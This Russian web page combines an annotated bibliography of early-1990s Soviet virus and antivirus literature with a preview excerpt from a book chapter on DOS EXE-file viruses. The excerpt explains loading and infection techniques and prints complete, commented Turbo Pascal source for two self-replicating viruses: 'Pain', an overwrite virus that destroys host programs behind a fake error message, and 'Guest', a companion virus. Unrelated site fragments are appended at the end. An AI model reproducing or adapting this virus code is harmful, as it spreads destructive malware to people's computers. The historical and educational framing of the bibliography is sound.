Дано краткое описание принципов действия вирусов различных типов. В частности, интеллектуальных вирусов, системных вирусов, загрузочных вирусов, резидентных вирусов (эти понятия могут перекрываться) и др..
И.Ш.Карасик. Анатомия и физиология вирусов. Интеркомпьютер, 1990, вып. 1, стр. 39-47.
Приводится довольно подробное описание принципов действия вирусов, поражающих загрузчики (описаны правильные форматы и содержимое сектора ВРВ на дисках, размеченных различными программами), вирусов, поражающих системные файлы (Lehigh), вирусов общего назначения - COM и EXE вирусов, таких как Eddie (Dark Avenger), интеллектуальных вирусов и др.
Н.Н.Безруков. Классификация вирусов. Попытка стандартизации. Интеркомпьютер, 1990, вып. 2, стр. 37-39.
Предложены принципы построения классификации компьютерных вирусов при помощи классификационного кода и сигнатуры. Описаны примеры использования сигнатур вирусов в антивирусных программах (SCAN, VIRSCAN, Virus Locator). Показано, как можно использовать пакеты Norton Utilities и PC Tools для поиска сигнатур вирусов.
И.Ш.Кзрасик. Классификация антивирусных программ. Интеркомпьютер, 1990, вып. 2, стр. 40-45.
Описаны принципы действия антивирусных программ различных типов (детекторы, фаги, вакцины, программы слежения за состоянием файловой системы, резидентные программы-мониторы. Даны краткие характеристики программ-антивирусов (Aidstest, Antt-Kot, Diaglot, Doctor, Scan49, VR, CRCDOS, Vacsine 1.3, DLI), а также программ, демонстрации содержимого памяти ЭВМ (Mem, MapMem, VTSR, MI, PCStat, РСМар).
Ф.Н.Шерстюк. Вирусы и антивирусы на IBM-совместимых ПК. Интеркомпьютер, 1990, вып. 2, стр. 46-47.
Приводится несколько советов и рекомендаций по вирусной профилактике и "лечению" зараженных файлов. Рассмотрены некоторые специализированные (AidsTest, VDeath, Serum3, Anti-Kot) и универсальные (Anti4us, FluShot, CDM) антивирусные программы.
Н.Н.Безруков. Классификация вирусов. Попытка стандартизации. Интеркомпьютер, 1990, вып. 3, стр. 38-47.
Приведена подробная классификация вирусов по принципу действия, проявлениям и сигнатурам. Дан список дескрипторов и сигнатур распространенных файловых и загрузочных вирусов. Эти сведения могут быть использованы при написании антивирусных программ.
В.Б.Комягин. Антивирусная программа VP - Virus Protector. Интеркомпьютер, 1990, вып. 5, стр. 42-46.
Дано подробное описание и ассемблерный текст резидентной антивирусной программы-монитора.
Е.В.Касперский. Антивирусы. Интеркомпьютер, 1990, вып. 6, стр. 46-48.
Рассматриваются программные средства, применяемые при поиске вирусов, не обнаруживаемых существующими "стандартными" антивирусными программами: отладчики (Quad Analizer, Advanced Trace86, Fulscreen Debug); дизассемблеры (DisDoc, Sourcer, -D3); резидентные перехватчики прерываний (Anticor, -D, Defence); утилиты, отображающие содержимое и структуру оперативной памяти (Mapmem, MFT, -D). Даны рекомендации по борьбе с "интеллектуальными" вирусами, выполненными по Stealth-технологии.
А.Николаев. Осторожно - вирус! Компьютер пресс, 1990, вып. 6, стр. 3-16.
Приведен краткий экскурс в историю возникнонения вирусов, "троянских коней" и "мин замедленного действия". Рассмотрены основные типы вирусов (позиционно зависимые и позиционно независимые, резидентные, загрузочные), описаны виды их разрушительного действия (разрушение .ЕХЕ и .СОМ файлов, структуры диска, содержимого экрана, dBase-файлов и др.).
Д.Лозинскнй. Одна из советских антивирусных программ: AIDSTEST. Компьютер пресс, 1990, вып. 6, стр. 17-20.
Описана антивирусная программа aidstest.exe (версия от 06.03.90 на 22 вируса, длина 33187 байт). Приведены общие рекомендации по антивирусной профилактике. Описаны проявления различных версий вирусов Ball, Stoned (Marijuana), Vacsina, Yankee Doodle.
Е.Касперский. Компьютерные вирусы: предварительные соображения. Компьютер пресс, 1991, вып. 5, стр. 13-25.
Описаны свойства и приведена классификация (систематические и тривиальные названия, длины кода, способы репликации и др.) нескольких десятков вирусов: файловых и загрузочных. Приведен составленный автором каталог наиболее распространенных вирусов.
А.Кадлоф. Вирусы. Компьютер, 1990, вып. 1, стр. 44-49.
В популярной форме описаны принципы действия вирусов по аналогии с биологическими системами. Описаны проявления некоторых распространенных вирусов (СОМ-1701, СОМ-648, ЕХЕСОМ-1, ЕХЕСОМ-2, BOOTSYS) отмечены некоторые антивирусные программы для борьбы с этими вирусами.
П.Внук. 10 антивирусных заповедей. Компьютер, 1990, вып. 1, стр. 49.
Предложено 10 советов по антивирусной профилактике. Соблюдая описанные меры безопасности, можно существенно уменьшить вероятность неприятных последствий заражения Вашего компьютера вирусом.
М.Селль. Антивирусные программы. Компьютер, 1990, вып. 2, стр. 48-50.
Кратко описаны три метода программной защиты от вирусов, а также принципы действия вирусов (указано, что для вирусов характерны две стадии: размножение вируса и разрушение данных. На самом деле для многих вирусов существует также понятие латентного периода, когда вирус может в течение некоторого времени вообще не проявлять заметной активности до тех пор, пока не будет выполнено какое-то условие, например пятница совпадет с 13 числом месяца). Дан краткий обзор антивирусных программ (DProtect.com, HDSEntry.com, BomSquad.com, VtrBlock.exe, Anti4us2.exe, FluShot Plus).
В.Фигурнов. Защита от вирусов. Компьютер, 1991, вып. 1(4), стр. 22-23.
Сравниваются различные программные средства защиты от компьютерных вирусов (программы-детекторы, вакцины, фаги, ревизоры, резидентные фильтры). Предлагается стратегия многоуровневой защиты от вирусов, главное место в которой отводится архивированию информации.
И.Ш.Карасик. К вопросу о компьютерных вирусах. Мир ПК, 1989, вып. 3, стр. 127-131.
Кратко рассмотрены принципы действия как обычных, так и возможных нетривиальных вирусов (вирусы, поражающие системные и сетевые драйверы; вирусы, зашифровывающие свой код и т.п.). Развеиваются мифы относительно коварства и неуничтожимости некоторых типов вирусов.
А.С.Осипенко. Компьютерные вирусы. Мир ПК, 1990, вып. 3, стр. 23-27.
Описана терминология и дано определение компьютерного вируса. Приведен список мест, куда (теоретически) могут внедряться компьютерные вирусы (дисковый загрузчик, системный загрузчик, файлы операционной системы, системные и прикладные программы, драйверы устройств, объектные модули и библиотеки, программы для препроцессоров и командных процессоров, исходные тексты программ на языках высокого уровня). Описаны вирусы, обнаруженные в Москве в 1988-1989 годах: Flea (Vienna, COM-648), Rash (COM-1701), Israely Virus (Black Friday), Sina, Ibris (TP), Eddie (Dark Avenger), Ping-Pong (Italian Virus).
В.Э.Фигурнов. IBM PC для пользователя. 2-е изд. перераб. и доп. - М.: Финансы и статистика, Компьютер Пресс, 1991. - 288 с.
Наряду с описанием основных принципов и приемов работы на IBM-совместимом компьютере для неискушенного пользователя в одной из глав книги описаны основные принципы борьбы с вирусами и некоторые популярные антивирусные программы.
Н.Н.Безруков. Классификация компьютерных вирусов MS-DOS и методы защиты от них. - М.: Информэйшн Компьютер Энтерпрайз, 1990. - 48 с.
Описаны предложенные автором принципы классификации компьютерных вирусов, включающей код вируса (обычно - целое число, равное длине вируса), дескриптор (список основных свойств) и сигнатуру (строку для поиска кода вируса). Приведена классификация методов защиты от компьютерных вирусов и даны обширные рекомендации по применению методов защиты от вирусов и конкретных антивирусных программ. В конце брошюры приведены таблицы классификации файловых и загрузочных вирусов, содержащие также сигнатуры нескольких десятков вирусов.
Хижняк: П.Л. Пишем вирус и... антивирус. / Под общей
редакцией И.М.Овсянниковой. - М: ИНТО, 1991. - 90 с.

	В  книге  описаны   методы   создания   эффективных
	антивирусных  программ-детекторов  и фагов.  С этой
	целью    рассмотрены    принципы   функционирования
	некоторых  типов вирусов  и  приведен  ассемблерный
	текст    простейшего    COM-вмруса   с    подробным
	рассказом  о  фазах  создания  вируса  и  о  работе
	отдельных его частей.

	Приведен  также   текст   антивирусной   программы-
	детектора и фага  для  данного  конкретного вируса.
	Подробно   описан   процесс   создания   программы-
	антивируса,  показана  практическая работа вируса и
	антивируса в среде  MS DOS  для  IBM PC совместимых
	компьютеров.  В  конце книги дана краткая аннотация
	ряда публикаций по вирусам н антивирусам.

	Книга рассчитана на программистов различных уровней
	подготовки и на пользователей IBM-совместимых
	компьютеров.

©	Хижняк П.Л., 1991
Ответственный редактор Овсянникова И.М.
Оригинал-макет подготовил Хижняк П.Л.
Литературная редакция Хижняк П.Л.
Художник Ратнер Е.Ю.
ISBN 5-86028-011-4


П.Л. Хижняк
           ВИРУСЫ И АНТИВИРУСЫ
        Редактор И. М. Овсянникова
          Художник А.Ф.Гламаздин
     Технический редактор Т.Г.Иванова

Подписано в печать 25.5.91. Формат 60x90 1/16. Бумага кн.-журн.
Гарнитура «Таймс». Печать офсетная. усл. печ. л. 6. Уч.-изд. л.
Тираж 100 000 экз. (1 завод 50тыс.). Заказ 4226
Отпускная цена издательства 6 руб.

ИНТО, 103012, Москва, Хрустальный пер. д. 1 пом. 89.


Отпечатано в 12 Центральной типографии МО СССР.

Поделиться в соц сетях

В этой главе рассказано о вирусах, заражающих EXE-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки. Для каждого типа вирусов представлены исходные тексты с подробными комментариями. Также приведены основные сведения о структуре и принципах работы EXE-программы.

COM-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами EXE-«монстры». Появились и вирусы, умеющие заражать EXE-файлы.

Структура и процесс загрузки EXE-программы

В отличие от COM-программ, EXE-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.

EXE-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки EXE-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент: смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске EXE-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000h — PSP; сегмент+0010h:0000h — программа). В поля PSP заносятся соответствующие значения.

4. Адрес DTA устанавливается равным PSP:0080h.

5. В рабочую область загрузчика считывается форматированная часть заголовка EXE-файла.

6. Вычисляется длина загрузочного модуля по формуле: Size=((PageCnt*512)–(HdrSize*16))–PartPag.

7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.

8. Вычисляется сегментный адрес (START_SEG) для загрузки — обычно это PSP+10h.

9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).

10. Для каждого входа таблицы настройки:

a) читаются слова I_OFF и I_SEG;

b) вычисляется RELO_SEG=START_SEG+I_SEG;

c) читается слово по адресу RELO_SEG:I_OFF;

d) к прочитанному слову прибавляется START_SEG;

e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11. Распределяется память для программы в соответствии с MaxMem и MinMem.

12. Инициализируются регистры, выполняется программа:

a) ES=DS=PSP;

b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;

c) SS=START_SEG+ReloSS, SP=ExeSP;

d) CS=START_SEG+ReloCS, IP=ExeIP.

Классификация EXE-вирусов

EXE-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже стали раритетом. Главный их недостаток — слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого EXE-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и EXE-файл, но с расширением COM. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением COM. Если COM-файл с таким именем не найден, ведется поиск одноименного EXE-файла. Если не найден и EXE-файл, DOS попробует обнаружить BAT (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в COM-файле. Он создает COM-файл еще к одному или нескольким EXE-файлам (распространяется), а затем исполняет EXE-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная EXE-программа. Вирус-спутник обезвредить довольно просто — достаточно удалить COM-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого EXE-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (COM, EXE и BAT). Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место EXE-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в EXE-файле. Инфицировав еще один или несколько EXE-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EXE, а COM, поскольку EXE-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения EXE-вирусов в EXE-файл.

Способы заражения EXE-файлов

Самый распространенный способ заражения EXE-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение COM-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Следующий способ — внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него — код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа — «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (COM или EXE), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто — достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов — метод переноса — по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода — «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы — в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Вирусы, замещающие программный код (Overwrite)

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», — пусть пользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким способом.

{$M 2048, 0, 0}

{$A−}

{$B−}

{$D−}

{$E+}

{$F−}

{$G−}

{$I−}

{$L−}

{$N−}

{$S−}

{$V−}

{$X+}

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]=’Pain!’;

{Длина получаемого при компиляции EXE−файла}

VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов}

InfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле}

VirIdentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами}

VirBody: File;

{Еще одна файловая переменная — хотя без нее можно было

обойтись, так будет понятнее}

Target: File;

{Для имени найденного файла}

TargetFile: PathStr;

{Буфер для тела вируса}

VirBuf: Array [1.VirLen] of Char;

{Для даты/времени файла}

Time: LongInt;

{Счетчик количества инфицированных файлов}

InfFiles: Byte;

DirInfo: SearchRec;

LabelBuf: Array [1.5] of Char;

{Инициализация}

procedure Init;

begin

LabelBuf[1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3];

LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

{Обнуляем счетчик количества инфицированных файлов}

InfFiles:=0;

{Связываем файловую переменную VirBody с именем программы,

из которой стартовали}

Assign(VirBody, ParamStr(0));

{Открываем файл с recsize=1 байту}

Reset(VirBody, 1);

{Считываем из файла тело вируса в массив VirBuf}

BlockRead(VirBody, VirBuf, VirLen);

{Закрываем файл}

Close(VirBody);

end;

{Поиск жертвы}

procedure FindTarget;

Var

Sr: SearchRec;

{Функция возвращает True, если найденная

программа уже заражена, и False, если еще нет}

function VirusPresent: Boolean;

begin

{Пока будем считать, что вируса нет}

VirusPresent:=False;

{Открываем найденный файл}

Assign(Target, TargetFile);

Reset(Target, 1);

{Перемещаемся на длину тела вируса от начала файла}

Seek(Target, VirLen);

{Считываем 5 байт — если файл уже заражен,

там находится метка вируса}

BlockRead(Target, VirIdentifier, 5);

If VirIdentifier=VirLabel Then

{Если метка есть, значит есть и вирус}

VirusPresent:=True;

end;

{Процедура заражения}

procedure InfectFile;

begin

{Если размер найденного файла меньше, чем длина вируса

плюс 100 байт, то выходим из процедуры}

If Sr.Size < VirLen+100 Then Exit;

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{Запомним дату и время файла. Атрибуты запоминать не надо,

так как поиск ведется среди файлов с атрибутом Archive, а этот

атрибут устанавливается на файл после сохранения в любом случае}

Time:=Sr.Time;

{Открываем для заражения}

Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}

BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции

на длину вируса от начала файла}

Seek(Target, VirLen);

{Вписываем метку заражения}

BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}

SetFTime(Target, Time);

{Закрываем}

Close(Target);

{Увеличиваем счетчик инфицированных файлов}

Inc(InfFiles);

end;

end;

{Начало процедуры FindTarget}

begin

{Ищем в текущем каталоге файлы по маске *.EXE

с атрибутами Archive}

FindFirst(’*.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=’’ Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

{Инициализируемся}

Init;

{Ищем жертвы и заражаем их}

FindTarget;

{Выдаем на экран сообщение об ошибке}

WriteLn(’Abnormal program termination.’);

{Это чтобы компилятор вставил в код константы VirName

и Author, условие же поставлено таким образом,

что эти строки никогда не будут выведены на экран}

If 2=3 Then

begin

WriteLn(VirName);

WriteLn(Author);

end;

end.

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены — соотношение companion и parasitic вирусов примерно один к двум.

Инфицирование методом создания COM-файла спутника

Смысл этого метода — не трогая «чужого кота» (EXE-программу), создать «своего» — COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

2. Найти EXE-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.

4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.

5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.

6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE — то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим методом.

{$M 2048, 0, 0}

{$A−}

{$B−}

{$D−}

{$E+}

{$F−}

{$G−}

{$I−}

{$L−}

{$N−}

{$S−}

{$V−}

{$X+}

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Guest’;

Author=’Dirty Nazi/SGWW. 4 PVT only!’;

{Количество зараженных за один сеанс работы файлов}

InfCount=2;

Var

{Для имени найденного файла}

TargetFile: PathStr;

{Для создания копии}

TargetCOM: PathStr;

{Счетчик количества заражений}

InfFiles: Byte;

DirInfo: SearchRec;

{Для сохранения параметров командной строки}

Parms: String;

{Для цикла For}

I: Byte;

{Поиск жертв}

procedure FindTarget;

Var

Sr: SearchRec;

{Функция возвращает True, если найденная программа уже заражена,

и False, если еще нет}

function VirusPresent: Boolean;

Var

Target: File;

begin

{Пока будем считать, что вируса здесь нет}

VirusPresent:=False;

{Пытаемся открыть файл с именем найденной программы,

но с расширением COM}

Assign(Target, TargetCOM);

Reset(Target, 1);

{Если не было ошибок при открытии,

программа уже инфицирована этим вирусом}

If IOResult=0 Then

begin

VirusPresent:=True;

{Открыли — закроем}

Close(Target);

end;

end;

{Собственно процедура заражения}

procedure InfectFile;

begin

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{С помощью командного процессора

копируем вирусный код в COM−файл}

SwapVectors;

Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’

’+TargetCOM+’ >NUL’);

SwapVectors;

{Увеличиваем на единицу счетчик инфицированных файлов}

Inc(InfFiles);

end;

end;

begin {начало процедуры FindTarget}

{Ищем в текущем каталоге файлы по маске *.EXE

с атрибутами Archive}

FindFirst(’*.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=’’ Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

Parms:=’ ’;

{Запоминаем параметры командной строки}

If ParamCount <> 0 Then

For I:=1 To ParamCount Do

Parms:=Parms+’ ’+ParamStr(I);

{Ищем жертвы и заражаем их}

FindTarget;

TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))−4)+’.EXE’;

{Ищем файл с именем стартового файла, но с расширением EXE}

FindFirst(TargetFile, AnyFile, DirInfo);

{Если такой файл найден, запускаем его на выполнение}

If DosError=0 Then

begin

SwapVectors;

Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);

SwapVectors;

end Else

{Если файл не найден, выходим,

не внося в программу изменений}

begin

WriteLn(#13#10, VirName, ’ by ’,Author);

WriteLn(’Какое−нибудь сообщение’);

end;

end.

Инфицирование методом переименования EXE-файла

Отличий в алгоритмах работы этих вирусов и их «коллег», создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее — для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.

Конец ознакомительного фрагмента.

Понравилась статья? Поделить с друзьями:

Интересное по теме:

  • Код ошибки гранта p0172
  • Код ошибки двигателя 0010
  • Код ошибки виндовс critical process died
  • Код ошибки гранта p0140
  • Код ошибки двигателя p0141

  • 0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии